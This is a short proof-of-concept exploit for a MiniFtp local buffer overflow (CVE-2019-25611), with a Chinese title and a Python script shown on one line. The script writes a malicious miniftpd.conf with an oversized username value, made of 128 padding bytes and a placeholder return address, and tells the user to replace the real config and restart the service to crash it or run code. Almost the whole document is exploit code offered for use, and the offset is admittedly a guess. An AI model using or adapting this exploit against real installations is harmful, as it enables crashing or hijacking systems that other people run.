CVE-2019-25611 MiniFtp本地缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2019-25611 MiniFtp Buffer Overflow # Generates a malicious miniftpd.conf to crash the service or execute code import os # Configuration key to target (example based on typical ftp configs) # The vulnerability triggers when a value exceeds 128 bytes. # Payload: Padding (A) + Return Address overwrite (BBBB) offset = 128 ret_addr = b"BBBB" # Placeholder for return address padding = b"A" * offset payload = padding + ret_addr # Create the malicious configuration file config_content = b"username=" + payload + b"\n" filename = "miniftpd.conf" with open(filename, "wb") as f: f.write(config_content) print(f"[+] Created malicious configuration file: {filename}") print("[+] Replace the original configuration file and restart MiniFtp to trigger the overflow.")